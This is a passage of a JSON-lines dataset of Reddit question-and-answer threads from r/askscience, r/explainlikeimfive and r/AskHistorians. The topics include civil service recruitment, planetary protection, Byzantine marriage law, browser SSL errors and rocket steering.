national or international expert in their field, developing confidence, and an ability to analyse, think critically and argue about new topics quickly (and, some critics would say, the art of bluffing and blagging).  \n\nDevanny and Ford (2015, p.46) interviewed a real-life \u2018Sir Humphrey\u2019, who served as Cabinet Secretary \u2013 the most senior British civil servant - to Thatcher, Major and, briefly, Blair:  \n\n >  Robin Butler told us that as a new-entrant Assistant Principal (or Fast Streamer) at the Treasury in September 1961, his Oxbridge classicist background was not unusual and he went on to form a cross-Whitehall cricket team \u2013 called the Mandarins \u2013 with other Fast Streamers who had studied on the second course at the Centre for Administrative Studies in 1964. Butler also recalled being part of a group of Treasury Principals who were interviewed for television on the day that the Fulton Report was released in 1968. The broadcast was edited to underline Fulton\u2019s criticism of Whitehall\u2019s Oxbridge elitism, with Butler and his peers answering questions about their educational backgrounds by naming their public schools and Oxbridge degree courses (\u2018Classics, History\u2019).   \n\nButler attended Harrow and Oxford. (Previous Cabinet Secretary Robert Armstrong (1979-87) \u2013 in post when *Yes Minister* started, also read Classics at Oxford.)   \n\nThis is what the Fulton Report had to say:    \n > To give preference for relevance is to adapt to the needs of today the old principle that the Service should seek to recruit those it believes best equipped for 'work in government. When the aim was to recruit men and women to be intelligent all-rounders, the Service naturally drew heavily on courses like classics and history at Oxford and Cambridge, which by their prestige have always attracted young people of the highest abilities. These courses give an insight into the conditions of historical change and because for the most part the material they use is remote from the here and now they provide a \"disinterested\" intellectual training. Today, when the tasks or government have changed, the Service should seek to recruit those equipped for the new tasks. First-degree courses based on the study of modern subjects especially attract many young people with a positive and practical interest in contemporary problems, political, social, economic, scientific and technological. These problems will yield their solutions only to the most concentrated assaults of minds equipped through rigorous and sustained intellectual discipline with the necessary apparatus of relevant ideas, knowledge, methods and techniques, We therefore wish the Civil Service to attract its full share of young people motivated in this way, with minds disciplined by undergraduate(and post-graduate) work in the social studies, the mathematical and physical sciences, the biological sciences or in the applied and engineering sciences.   \n\n > Though the ancient universities of Oxford and Cambridge have played their part in this growth in the academic study of the problems of contemporary society, it has been most characteristic of the universities founded ill this century. The date and circumstances of their foundation have ensured that their courses have been mainly designed to prepare their undergraduates for work in a modern industrial society. To draw more fully on this source of manpower, trained in these subjects, would have many advantages for the Civil Service.   \n\n(The opening chapter of the report also observed that \u201cThe Home Civil Service today is still fundamentally the product of the nineteenth-century philosophy of the Northcote-Trevelyan Report\u201d.)  \n\nIt sounds as if collection of degree subject data on civil service candidates and entrants has been discontinued, as in their report covering the years 1979-2010, Devanny and Ford (p.45) state \u201cIt is less easy to establish the total numbers who studied classics or Greats, let alone how many used Latin phrases in the workplace.\u201d [\u2018Greats\u2019 being the traditional name for the Oxford Classics and Classical Civilisaion degree; PPE, the degree [more recently]( _URL_0_) considered to dominate British/English public life, was also known as \u2018Modern Greats\u2019.]\nOf the old reports available in snippet view on Google books and mentioning findable degree subject information, the most recent I managed to find was this from the Civil Service Commission (1981[sic]):   \n\n >  The degree subject studied by candidates has continued to be a fairly neutral factor at all stages of the scheme. The variation between the performance of the three main subject groupings is small at the QT [qualifying test] stage and virtually non-existent at the CSSB [civil service selection board] and FSB [final selection board] stages. The most popular degree subjects represented amongst successful candidates in 1982 were History, Economics (including PPE) and English. *No Classics graduate was successful.* Science and technology graduates formed only 11% of the field of external AT candidates who sat the QT. They did slightly better than average...  \n(my italics)  \n"]}, "title_urls": [], "selftext_urls": ["https://www.theguardian.com/education/2008/feb/05/universityteaching.highereducation"], "answers_urls": [["https://www.theguardian.com/education/2017/feb/23/ppe-oxford-university-degree-that-rules-britain"]]}
{"q_id": "33m5vy", "title": "When building and testing the Curiosity Rover, why do NASA engineers need to wear special suits to prevent contamination if the rover is just going to get really dusty once its on Mars?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/33m5vy/when_building_and_testing_the_curiosity_rover_why/", "answers": {"a_id": ["cqm79er", "cqm7rna", "cqm7xk2", "cqm9mlz"], "score": [3, 64, 26, 13], "text": ["Because of Planetary Protection\n\n_URL_0_\n\nThey wear the suits to prevent earth germs from getting to another planet. \n", "a few reasons,  firstly contamination is potentially much more harmful during stages like re-entry than it is when the rover is rolling around.\n\nand much more importantly, the rover is there to research mars, the actual results could be contaminated with substances/life from earth\n\nmicrobial life can survive in space as well as reentry, if the mars rover brings life to mars then it will be extremely difficult to deduce if life had existed on mars prior", "The concern isn't getting the rover dirty as much as keeping microbes out of it.  NASA goes to great lengths to ensure we don't contaminate Mars or any other extraterrestrial body with organisms from Earth.  The reason is twofold:  Terrestrial microbes could possibly grow if conditions are right and then we'd introduce life where it didn't exist before, or if life did exist, the terrestrial microbes could wipe it out.  Secondly, a contaminated craft would detect terrestrial microbes and mistake them for local, making all the science void.\nCross contamination is one of the biggest issues besides developing the craft itself.  Imagine we discover life on a moon of Saturn or Jupiter only to find out it goes extinct because some dirty probe we sent there released colonies of bacteria which is stronger than the natives.", "They're not concerned about contaminating it with dust itself. It's biological contamination. The other comments are correct that we want to make sure any life found on Mars is actually martian and not some spore that traveled on our probes, I'd like to add that this was agreed and established in article IX of [the outer space treaty](_URL_1_) and it's currently regulated by [COSPAR](_URL_0_).\n\n_URL_2_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://planetaryprotection.nasa.gov/overview/"], [], [], ["http://en.wikipedia.org/wiki/Committee_on_Space_Research", "http://www.unoosa.org/oosa/en/SpaceLaw/gares/html/gares_21_2222.html", "http://en.wikipedia.org/wiki/Planetary_protection"]]}
{"q_id": "ce4pr1", "title": "if the earth is a sphere, as we walk on its surface, are we constantly walking imperceptibly uphill, or imperceptibly downhill? or something else?", "selftext": "My family members say you're walking downhill from the north pole to the equator, and uphill going the opposite way, but that doesn't make sense, because you're still walking along an arc on the sphere. I've stared and stared and stared at this baseball in my hand, but can't figure it out.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ce4pr1/eli5_if_the_earth_is_a_sphere_as_we_walk_on_its/", "answers": {"a_id": ["etyl2tx", "etyllxg", "etylv2i", "etymcb6", "etynmmm", "eu18tvf"], "score": [11, 6, 2, 3, 2, 2], "text": ["Gravity always pulls you towards the centre of the Earth. This means that when you're standing on the North pole you're being pulled in a totally different direction than someone standing on the equator.\n\nIf you were to walk around the entire Earth from pole to pole you wouldn't walk uphill then downhill, you'd walk along a constant curve but the angle you were being pulled at would constantly change to always pull you \"down\" so the ground would always seem flat to you. (Obviously this wouldn't hold true for actual hills  &  mountains, which you would have to climb and descend, and there would be a lot of ocean for you to \"walk\" on, but for this example I'm assuming you're walking exclusively at sea level)", "If Earth were a perfect sphere, you would never walk uphill or downhill. That perception is entirely based on being internally level, so if you were to walk along a perfect sphere the size of Earth, you would always remain level because the direction in which gravity pulls you is constantly changing. In other words, your distance from the sphere's center would never change.", "If the world was a perfect sphere, I believe you would essentially be walking on a flat surface. As you take a step, the \"top\" of the sphere would be right in the middle of your feet. As your step gets larger, your landing foot would keep getting further \"below\" the \"top\". However, as the \"top\" is right between your feet, your stationary for is also \"dropping\" further \" below\" the \"top\", making your feet at the same height once your foot lands.", "On a perfect sphere, your center of mass isn't moving up or down no matter how far you walk. \"Downhill\" doesn't exist from your point of view, essentially.", "It's not hard if you first actually define what \"up\" and \"down\" mean.  Down means toward the center of gravity, or the middle of the earth in this case, and up means away from it.  Assuming a perfectly smooth, round surface like a ball (which the actually Earth isn't.  It's rather lumpy and mishappen) you would not going uphill or downhill since you won't be getting any closer to the center of the Earth or farther away.  \n\n\nIf it helps, I will add that the reason going up a hill take extra work is that we are literally fighting against gravity, pushing to get away from the middle of the earth.  The steep the hill, the faster we are trying to move away and the hard it is.  Going downhill, however, gravity is pulling is down which is why is is so easy.  Gravity is trying to pull us closer to the center of the Earth anyway, so we dont' have to work at is so hard ourselves.  \n\n\nBut as I said, you are doing neither in your scenario.", "There is a dope Vsauce video called \"which way is down\" that would help answer this for you"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "8jnitx", "title": "How is it possible to write about topics of history without citing every sentence?", "selftext": "For example, if a teacher assigns a 10-page paper on the Civil War, how is it possible to come up with any new information that hasn't previously been discussed/presented? Apologies if this is the wrong subreddit, I've just never been able to answer this question.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8jnitx/how_is_it_possible_to_write_about_topics_of/", "answers": {"a_id": ["dz1a29q", "dz1a3kz", "dz1lzi5", "dz1opdz", "dz2rx04"], "score": [103, 26, 8, 8, 2], "text": ["History professors generally don't expect students to cite \"common knowledge.\" For example, if you write \"Battle of Gettysburg was fought in July 1863,\" you don't need to add a citation to some reference backing that up. It's a widely known fact. More specific forms of information need to be cited. To go back to Gettysburg, if you were to include statistics about, say, the breakdown of injury types at Gettysburg, you would have to cite those. So, the sentences that you cite are ones in which you are referencing specific information, ideas, arguments, quotes, etc from a source must be cited.\n\nQuoting from [Princeton University's page on academic integrity:](_URL_0_)\n\n >  Or if you use a piece of information discovered by another scholar in the course of their own research, you must cite your source. But if the fact or information is generally known and accepted\u2014for example, that Woodrow Wilson served as president of both Princeton University and the United States, or that Avogadro\u2019s number is 6.02 x 1023\u2014you do not need to cite a source. Note that facts are different from ideas: facts may not need to be cited, whereas ideas must always be cited.\n\nAs you can imagine, history papers often *do* have lots of footnotes/endnotes. However, a paper that has a footnote after every sentence would probably be a poor paper, as the main point of writing essays is to offer your own interpretations and conclusions. You take information and arguments from other sources - which are cited - and analyze those things. You might reach the same conclusion that someone else has - your average undergrad history paper is not going to contain some sort of groundbreaking thesis - but if you came to that conclusion on your own and can show your reasoning, that's ok.", "In any academic setting, you should be presenting your own interpretation of the topic presented to you, and the assumption is that you're not going to bodily lift entire passages instead of actually thinking about the topic.\n\nFor example, if I were asked about, say, Continental influence in early medieval Scandinavian material culture, I could talk about how similar Frankish winged spears are to Scandinavian lugged spears, and riff on that. I would need to cite archaeological or museum journals when talking about the physical ways the spears were designed, and how they were constructed; I would cite textual sources describing their usage; I would also cite archaeological and textual evidence of other material influence from the same general period, but I should be coming up with my own interpretations of all of those sources. If my interpretation is *similar* to others that I've not read or I'm not aware of, that's fine - it means that I'm on the right track as someone else. Or we're both grotesquely wrong, but for the same reasons.", "In addition to the other comments, I want to point out that it is sometimes appropriate to give a citation for a whole paragraph rather than each sentence.  If I were using several sentences to summarize and article, especially if I didn't want to make use of quotations, I might cite it at the end of my summary as the whole article, rather than citing each sentence that contributed to my summary.", "When dicussing history, you'd be in pretty poor form to simply list loads of facts about any given event, and you'd probably struggle to get much higher than a C+. In essays, you will usually cite facts (e.g. troop compositions etc), but the way you use those facts is usually the entire point of the essay. \n\nFor example, for my dissertation I needed to interpret Wyatt's Rebellion in 1554. In order to do so, I researched some general facts (such as the current makeup of the English cabinet) and then looked at more specific information in the form of primary sources (such as diaries from contemporary soldiers to determine morale, or Calender State Papers).\n\nI would then give my own interpretation of events by saying that it wasn't a crisis for the English Monarchy, and explain why (through my research) I believed this to be true and why other interpretations by other historians might not be true.\n\nSo essentially- When it comes to facts, you probably need to reference it unless it's just something you know, but the bulk of what you're writing needs to be your own interpretation of events and why other historians have got it wrong\n\nAnd as others have said, I've found that it's preferable to simply reference at the end of each paragraph rather than each sentence, unless you actually used more than one book/article or if there's multiple facts/figures from different sources. Referencing the same book twice in two successive sentences just bloats the page imo but that's just personal preference.", "I think that it might help you to consider how history is written. Please keep in mind that this is a simplification for the sake of an understandable explanation. While history as an academic discipline doesn't exclusively revolve around written sources, they are an essential part of how we write history. Most of what we know about history, is based upon the written records left behind by those who came before us. This can range from records of debt to official law documents. These are considered primary sources. They are the evidence of what happened in the past if you will.\n\nNow, whenever someone analyzes said primary sources to construct a narrative, they create a secondary source. While this is obviously not always a clear-cut distinction, this is the basic divide and might help you understand the process. Historians typically use both primary and secondary sources to write an academic paper. They will take all the information they find relevant and attempt to work it into a convincing argument. So for example, a historian who wants to research the socio-economic restrictiveness of guilds in medieval Paris will comb through the documents left behind by these guilds to look for hefty participation fees or similar limitations put in place to restrict participation. They will also use research done by other historians to give proper context both historiographical as in the historical reality they are describing. \n\nThey will then write their analysis of this perceived historical reality based upon this information. So while their work is based on sources, which should be quoted, a big portion of their work is their own analysis and the patterns they discerned. That's why you don't end up quoting all the time. Ultimately, writing history isn't about listing facts, it's about use available information to analyze and discern patterns in order to form your own theory or hypothesis.\n\nYou might be thinking : \"Wait, I'm supposed to use primary sources?\". You don't have to. You'll be basing yourself on the work of historians who have based their work on primary sources or reliable secondary sources. You are basically building your paper upon their research. That's perfectly acceptable for any paper written outside of academic circles. It's even possible for historians to base their research entirely on secondary sources. However, this generally only works well if these sources are respected works by qualified historians or if the topic is more theoretical in nature. \n\nThis also works because some well-known research done on primary sources is so methodically pure that it's basically accepted as fact through academic concensus. That doesn't mean that you can't reexamine the original research in an attempt to change the academic concensus, but it does mean that this knowledge isn't considered contended information, can often be found without citations and that it can be used to base your research on. This is why the denial of the holocaust is ultimately considered to be anti-historical. There are certain facts we have to accept as a basis of our shared reality. Whatever the academic discipline, knowledge is ultimately based upon the acceptance of certain things as a factual reality through academic concensus.\n\nThis is why it's not \"unacademic\" or \"unscientific\" to not cite common knowledge, as /u/eightgear has pointed out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.princeton.edu/pr/pub/integrity/pages/cite/"], [], [], [], []]}
{"q_id": "mzu76", "title": "I hate to be crude but: Does a man's diet correlate with the his semen?", "selftext": "The one's I have heard the most are if you eat spicy foods and pineapple your semen taste better for women or if you eat lots of celery you will ejaculate more. So does it have that much of an affect?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mzu76/i_hate_to_be_crude_but_does_a_mans_diet_correlate/", "answers": {"a_id": ["c356oai", "c356oai"], "score": [2, 2], "text": ["Here is a link to a patent for dietary supplements that 'improve semen flavor'.  The principal behind the experiments claimed that eating desirable organoleptic material, such pineapple, banana, and cinnamon, two hours before intercourse improved the smell and flavor of bodily fluids, in males as well as females.\n\nClinical trials concluded that 3-8 hours after ingesting the supplement, 2/3 of individuals experienced improved flavor and smell.\n\nSo, yes, eating good tasting stuff makes your bodily fluids taste better.\n_URL_0_", "Here is a link to a patent for dietary supplements that 'improve semen flavor'.  The principal behind the experiments claimed that eating desirable organoleptic material, such pineapple, banana, and cinnamon, two hours before intercourse improved the smell and flavor of bodily fluids, in males as well as females.\n\nClinical trials concluded that 3-8 hours after ingesting the supplement, 2/3 of individuals experienced improved flavor and smell.\n\nSo, yes, eating good tasting stuff makes your bodily fluids taste better.\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.freepatentsonline.com/y2010/0166888.html"], ["http://www.freepatentsonline.com/y2010/0166888.html"]]}
{"q_id": "20ag41", "title": "if i wanted to buy the rights to a no longer running tv show, how would i go about doing so?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20ag41/eli5if_i_wanted_to_buy_the_rights_to_a_no_longer/", "answers": {"a_id": ["cg1blro", "cg1c880", "cg1f06x"], "score": [5, 2, 2], "text": ["contact the person that has the ownership rights.   cut him a check with at least 6 zero's.", "It depends....do you want to buy the exclusive rights for all purposes or just license them for something?", "If this is in reference to Firefly, I'd gladly donate to the cause."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3n6x8x", "title": "how can a website be down on chrome while not being down on a different browser like ie?", "selftext": "Pretty odd. Reddit does this sometimes. It will work fine in Chrome for a week, then be down (SSL connection error) for 30-60 minutes, but still comes up just fine in IE while not in Chrome. What the heck?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3n6x8x/eli5_how_can_a_website_be_down_on_chrome_while/", "answers": {"a_id": ["cvldnwj", "cvle8q2", "cvlebef", "cvlf9oj", "cvlfd19", "cvlhqb3", "cvljmwo", "cvlkl35", "cvloufk"], "score": [3, 2, 20, 2, 3, 2, 3, 2, 2], "text": ["I also get protocol and other errors.", "Is your date and time off when the website is down?\n\nI can't imagine why it would do this.", "The only thing I can think of here is that Chrome and IE use different certificate or CA stores, and reddit (which definitely uses multiple servers) doesn't have a consistent SSL certificate set up on their end. And occasionally the load balancer is sending you to a server that Chrome can't handle (while IE can) and it takes a while for the load balancer to shift your Chrome session to a different server. \n\nMy question/suggestion is to do a force-reload when this happens, or actually close out of Chrome and re-open it. \n\nAlso this might belong more in /r/techsupport. ", "IIRC, either Chrome or IE doesn't allow you to send your own security certificate. (It saves time, and, since it's signed, it doesn't matter where it comes from.)\n\nYou can read more about the concept [here].(_URL_0_). I don't know if that would be the problem, but I suspect it might be. Chrome and IE are getting two different security certificates--one works, the other doesn't.", "It could be that the website you are visiting has a stateful cache.  So when you were to refresh your webpage you will hit the same server even though it is in a load balancer.  Each browser uses a different cache.  Like you can be signed into only one google account per browser (not including incognito mode), but be on a different account on different firefox and chrome.  Perhaps if you clear out your cache on the one not working it'll fix the problem.  ", "Don't know if I can hijack in on this. Sometimes when using chrome, I lose the ability to go to _URL_1_. I can go to _URL_0_ in Chrome no problem, no delay.. But the Google homepage is unreachable.\n\nAny thoughts?", "A browser sends data and requests data. It takes data responses and displays it according to a set of instructions. If that data recieved does not match the browsers expected response(s) it can and will often display an error.\n\nThis is normally caused by either a malfunction in the browser (a specific installation on a specific machine) or an incompatible website.", "i think to prevent torrents,  some isp are limiting the number of active connections a person can have,  \n\ngoogle does not like this one bit and feels it is just another way for isps to control internet traffic,  \n\nso google allows an infinite number of connections to a server.  each element of a page might start a new connection. so your isp will then stop the page from loading and chrome says page cannot be loaded.\n\nnow if you use a different browser they might have a maximum number of connections allowed, so they sit and wait.  if they only allow 5 connections. they load 5 elements and wait until those 5 are completed and then load 5 more elements, and wait and load 5 more, and wait and load 5 more.... until the page is loaded.  \n\nif your browser only allows a number of connections than your isp then the page will load with no problems,  if your browser opens more connections than your isp allows then you get errors and diffuculty loading the web page.\n\nbecause isp cannot watch specific traffic and cannot reduce speeds if you are using the internet to prevent you from using it a lot they will just only allow a specific amount of connections every time. until we get frustrated enough that we pass a law telling isp's not to do that either. ", "I understand what you're saying, but you're thinking about it the wrong way. The website is not down in any sense on either browser. It's just that browser A needs to correct a configuration issue to display the page. The website is not \"down in Chrome\", Chrome is just having an issue displaying the page."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol"], [], ["Bing.com", "Google.com"], [], [], []]}
{"q_id": "2ue7jt", "title": "what would be the advantages and disadvantages of a one world government?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ue7jt/eli5_what_would_be_the_advantages_and/", "answers": {"a_id": ["co7lzfp", "co7migd", "co7mjuw", "co7mqoj", "co7na4i", "co7ne4j", "co7ngjs", "co7ocwx", "co7oonu", "co7otrj", "co7uenj"], "score": [6, 40, 3, 15, 3, 5, 3, 2, 3, 5, 2], "text": ["Left Behind tried this. It didn't work out so well.\n\nIn all seriousness, though, probably bad things would happen. Even if it was not absolute power, being in charge of the entire world would lend too much power, and power corrupts.", "The world is too bog and diverse for this to ever work any time soon.  The economies, cultures, etc are vastly different from one place to another; there's no way one government is going to know how to make everyone happy.  Even the EU has problems now because different countries are better served by different policies, how would it possibly work across five whole continents?  \n\nPerhaps in the distant future the world will homogenize enough for this to make sense, but we're a long way from that.\n\nEDIT - I'm not even really thinking of cultures as much when I say \"diverse\", I'm thinking of things like monetary policy, farm subsidies, minimum wages etc.  Different areas have vastly different needs when it comes to stuff like this.", "I would say a basic income for everyone.\nAs technology advances and it pushes out more jobs its going to become a necessity. \nEquality is non existent in this world, i think a one world government would help.\nLike the system we have in the UK but worldwide.\nA benefits system and free healthcare.\n\nI believe it will happen but not for a long time.\n\nGovernments need to take over a lot of companies. \nPeople should work for the company's and the company's should work for the people.\nCompany's should not make huge profits.\n\nNobody should make a profit of natural resources. \n\nI think the government will be partly replaced by a computer program with viewable code. Voting will be done online etc etc \n\nI'm being very dreamy/idealistic but that's my version of the future lol", "This is all a personal opinion, so take it for what it's worth. I shall refer to countries as 'districts' of a one world government for the purpose of the example. \n\nInitially, my response would be that there really isn't much up side. \n\nFor starters, national sentiment somewhat drives successful government structures (in many examples, at least) and I find it hard to believe that the world could simply come together and believe in a One World government. \n\nThe sheer diversity across the globe from country to country would mean that there could never be single track economic goals, or globally applicable policies, as what may work for the England district will rarely work as well for the Ghana district and vice versa. \n\nThere isn't really a viable structure within which corruption would not be rife. Coordination problems would play an enormous effect, as it would be incredibly hard to monitor the 'local governments' of each district, and communication from all district governments to the one world government would be immensely complex. Thus, almost all district governments would become largely ineffectual and corrupt, with resources and funds being misallocated and overall efficiency of the global economy plummeting. \n\nI suppose free passage of labour across the globe would be incredibly useful, but I think this would cause even bigger problems for poorer districts. For example, in a normal world, a smart but poor person in a poor country has the potential to become a skilled worker, but without the funding, will rarely be able to pull themselves out of the poverty trap. If moving from district to district were uninhibited, we could see an immense 'brain drain' on poorer districts, as any potentially smart or skilled poor workers would leave their poor districts, and the unskilled would remain, leaving a hole in the workforce and thus dragging down the local economy. If there were huge disparities such as these from region to region I think this could create huge problems for both governing bodies and society. \n\nI think a one world government could have some serious implications for many industries, such as financial services and consumer products, without differing currencies, markets and demographics.\n\nI just woke up and this is just something I thought was interesting so this is somewhat off the top of my head. But I'm gonna have a think and come back to this later. \n\nEdit: as apparently this needed some clarification.. This is not a criticism of any existing governmental structure. This was simply a combination of theory and imagination. ", "We currently have it, kind of.\n\nFollowing the two world wars there has been a significant drive to ensure the works runs with an economical MAD principle.\n\nBasically, similar to the original MAD (Mutually Assured Destruction, think the cold war and nukes) the idea is to make every country/region economically dependent on the rest of the world.   \nYou see this in action with the current Russian-Ukrainian conflict, where Russia is taking a lot of heat for their actions economically.\n\nIn this sense we're already close to achieving what Bill Gates is talking about, because what happens in every country in the world is far from random, it is in a system.   \nBasically, if a guy named Carl Gustav suddenly rose to power in Sweden and wanted to make chemical weapons, it'd go over very poorly for him as a large part of the world would throw a fit.\n\nWhat's disconcerting about Gates' idea is that it is proven time and time again a large powerful government is a seriously bad idea.   \nThe United States is the current prime example.    \nThis is not meant to paint the U.S. poorly, but there are many examples of bad things, things like rampant corruption, disregard for the poor, and so on.    \nThis is likely to happen to the EU as well eventually as bad people learn to game the system (which bad people *always* do.)\n\nThe hope for the future lies in technology, as it has always done. The better it gets and the better we learn to use it, the better the world will be.    \nWe move ahead because we remove the need to be bad, simply put, and some artificial huge government so far removed from the common people is just begging for trouble.", "Right now, people can 'vote with their feet'.  If a nation is overly oppressive, skilled labor tries to flee.  While measures can be put into place to stop this, they're never wholly effective and the measures themselves tend to destroy the skilled labor class you're trying to preserve.  Certainly, many autocrats are just fine with ruling over a peasantry.  But for most leaders, the compromises in doing so aren't worth it so you end up with a counterforce to tyranny.\n\nOnce you unify all of humanity under a single government, this is no longer the case.  The path forward will inevitably lead to tyranny as leaders gather more and more power to themselves at the expense of a populace that has nowhere to go.", "Just look at the current EU to see what happens when you share some aspects of a single government without fully integrating.", "One major disadvantage would be concentration of power and oppression.\n\nA government can never tell when they've stepped over the line ... because they decide where the line is, after a while they believe they have the right to authorise anything.\n\nAt least when we have multiple governments, if one gets out of line too far, other countries/governments can pull them into line.\n\nHow on Earth would we ever be able to stop them if there was only one government? \n\nAdvantages: Possibly simplicity.", "As any science fiction fan can tell you, a single world government is much more useful when the aliens land. I'm actually being serious. We're all humans, here, right? Why should everything in the world end up being a matter of often violent competition between different groups of us?", "Well, You need only one military force, not one for every country. The military could be much smaller in total. Regions don't need to worry about defending or attacking other regions, only terrorists and organized crime.\n\nNuclear weapons are typically only usefull for interstate conflicts, not for a world government. (Unless the future is extremely dystopian and the world government just wants to exterminate humanity.)\n\nSpying will stay, but It'll use less resources. Instead of multiple agencies from different countries on your back, you'll have only one.\n\nEnvironmental pollution can no longer be considered someone else's problem. Politicians don't have to worry that THEIR country will become less competitive from environmenatl (or social) regulation.\n\nOverall, there will be no interstate competitivity and more cooperation.", "A One World Government would almost certainly take a federalist form, like the governments of the United States and many other nations.\n\nFederalist means that some powers (presumably war, and treaties, perhaps others) would fall only to the world government. Other powers (presumably local ordinances, and regionally-specific laws, and likely the bulk of law-making) would fall only to the national or sub-national (state/province) level. Some things like currency can go either way. Currency tends, in the long run, to be a centralized thing. A world government would probably take decades before implementing a world currency, because the differences in currency values today are an integral part of maintaining trade imbalances.\n\nPros:\n\n* Far less war, since the world government would have obvious cause to limit war between it's member states.\n* Problems like water rights, border disputes, climate change, and others become much easier to solve. These issues are difficult, because any one nation can steal an advantage from the others by opting out. A centralized government can enforce uniform policies, removing this tragedy of the commons.\n* The power of large, rich, or strategic countries over more populous ones may be limited, if the world government is run democratically.\n\nCons:\n\n* Member nations may strongly disagree with rulings made by the central gov.\n* Social progressiveness may be slowed in some areas, as regressive nations will also participate in world government decisions.\n* Same as the previous point, but flipped for regressive sorts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "74gqwu", "title": "I recently watched a documentary that claimed there was a law in the Byzantine Empire that forbade government officials from marrying actresses and that this law was repealed so that Emperor Justinian could marry Theodora. Why would there be a law like this in the first place?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/74gqwu/i_recently_watched_a_documentary_that_claimed/", "answers": {"a_id": ["dnyhhlp"], "score": [524], "text": ["On why there was such a law in the first place, we would have to wait for a historian of the Principate to answer, as such a restriction was already in place since the time of Augustus. However, I hope that I can provide some sixth-century context for this unique edict.\n\nFirst all, it is important to note that the existing law was not repealed. Rather, this new edict opened a pathway for former actresses to marry imperial officials, as once they had abandoned their career, they could now petition the emperor for the right to a legitimate marriage. So yes, this was a law issued around 523 to allow Justinian to marry Theodora, but it was in fact far more specific than that, as it was only applicable to former actresses who had somehow managed to convince the emperor or the court that they have truly 'reformed'. As a result, this legislation cannot have affected too many people and was certainly not an attempt to rollback centuries of Roman tradition on this issue. By this stage, Theodora was an established person at court, had long abandoned her previous career, and had already been the mistress of an imperial official in Libya, so she was a very different person from an average actress and no doubt only one of a few who could actually take advantage of the new law. Historians have therefore suggested, quite rightly I think, that this was an edict that was specifically aimed at correcting Theodora's legal position, rather than a more general reform. We can, for instance, point also to an additional provision for daughters of former actresses - rather than children. As Theodora did have a daughter at this point, it would suggest that this edict was indeed meant to be a very narrow one. \n\nAs some of the removed comments have suggested that this law was needed because an actress was equivalent to a prostitute, I need to add that whilst actresses were often painted as prostitutes in literary sources, late Roman law was careful to distinguish between the two, and the law for former prostitutes was definitely more restrictive, so it would suggest that what was problematic about Theodora's past was that she was once a actress, not that she was a prostitute. The most well-known source for Theodora's scandalous earlier career is Procopius' *Secret History*, the purpose of which was to defame Justinian and Theodora, so we have to be very careful about trusting its account of Theodora's life. It is true that the more favourable John of Ephesus also said that Theodora came from a *porneion*, which meant brothel in Classical Greek, but in a different context Justinian decreed that performers of comedies, tragedies and other theatrical performances from a *porneion* should march together in a procession - which suggests that in a sixth-century context a *porneion* also referred to a theatre. There is no doubt that Theodora's career was rather scandalous compared to most of the empresses whom we know about (though the previous empress, Euphemia, was actually an ex-slave), but we have to tread carefully when exploring the available sources. At the very least, we should not trust Procopius' deeply negative account, as he had no intention of writing about the empress favourably or, indeed, truthfully.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "qna3a", "title": "why is the fact that the antimatter atom is 'measured' for first time so important?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/qna3a/why_is_the_fact_that_the_antimatter_atom_is/", "answers": {"a_id": ["c3ywp3b", "c3yxo6i", "c3yzdbq"], "score": [14, 3, 7], "text": ["It confirms our theories that they can exist. It means our theories are very good at predicting things.\n\nIt's like if you could predict what the next lottery numbers will be with a high accuracy - there's a lot to gain if you know how the world works.\n\nOr a better analogy: let's say you're living in the 1600's. There's no such things as engines yet. And then you suddenly realise there's a way to build one thanks to water expanding when it's heated. And you know this simply because water has predictable behaviour, and you've done experiments. And when you start the car, *it just works*. Exactly like you expected it to. Because you knew everything about the water and the metals and the fire, you could use it to build a car.\n\nNow they're testing the theories for the fundamental particles to see if they predicted everything just right, and if they did we can base new inventions of that knowledge, the same way people could build engines because the theories worked.", "Because it would be revolutionary if the atom behaved any differently than the usual atom, and we can make precision measurements on atoms to test their behavior. Current theory predicts the antimatter atom to behave the same, but we need to test our prediction, because you never know when your predictions will turn out to be wrong!", "It's one thing to know that anti particles exist, it's another knowing that they function together as expected.\n\nIt would be like knowing that you have all of the pieces to an engine, but they are all lying around independently, then someone comes along and puts them together and they work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "tzekn", "title": "How do finless rockets steer? Like SpaceX's? ", "selftext": "Here's a picture: _URL_0_\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tzekn/how_do_finless_rockets_steer_like_spacexs/", "answers": {"a_id": ["c4r0b0m", "c4r0dzd"], "score": [7, 28], "text": ["Lots of rocket designs also have the engines mounted on [gimbals](_URL_0_).", "They use thrust vectoring, the nozzle is moved around. This is common, both the Shuttle and Saturn V did this.\n\nSource for the SpaceX using thrust vectoring: _URL_0_"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/2XMzK.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/Gimbal"], ["http://www.wired.com/autopia/2012/05/spacex-nitrogen-purge-valve-abort/"]]}
